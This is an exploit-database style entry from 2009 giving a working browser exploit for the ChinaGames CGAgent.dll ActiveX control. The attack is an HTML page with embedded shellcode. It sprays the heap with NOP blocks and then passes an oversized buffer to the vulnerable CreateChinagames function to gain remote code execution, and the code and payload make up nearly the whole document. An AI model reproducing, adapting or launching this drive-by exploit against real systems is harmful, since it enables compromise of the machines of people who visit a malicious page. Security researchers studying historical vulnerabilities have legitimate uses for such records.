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#
# ChinaGames (CGAgent.dll) ActiveX Remote Code Execution Exploit
# Exploit made by etirah
# Download: www.chinagames.com
#
# Problem DLL : CGAgent.dll
# Problem Func : CreateChinagames(param1)
# Problem Param : param1
#
# References:
# 1. http://bbs.pediy.com/showthread.php?t=87615
# 2. http://www.milw0rm.com/exploits/8579
<html>
<body>
<object classid="clsid:75108B29-202F-493C-86C5-1C182A485C4C" id="target"></object>
<script>
function test()
{
var shellcode = unescape("\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6574\u7473\uc48b\u6853\u3a20\u292d\u7468\u2065\u6820\u6168\u6972\ud48b\u5053\u5352\u57ff\u53fc\u57ff\u00f8");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace)
bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000)
block = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++)
memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 796 )
buffer+=unescape("%u0c0c");
target.CreateChinagames(buffer);
}
test();
</script>
</body>
</html>
# [2009-05-21]
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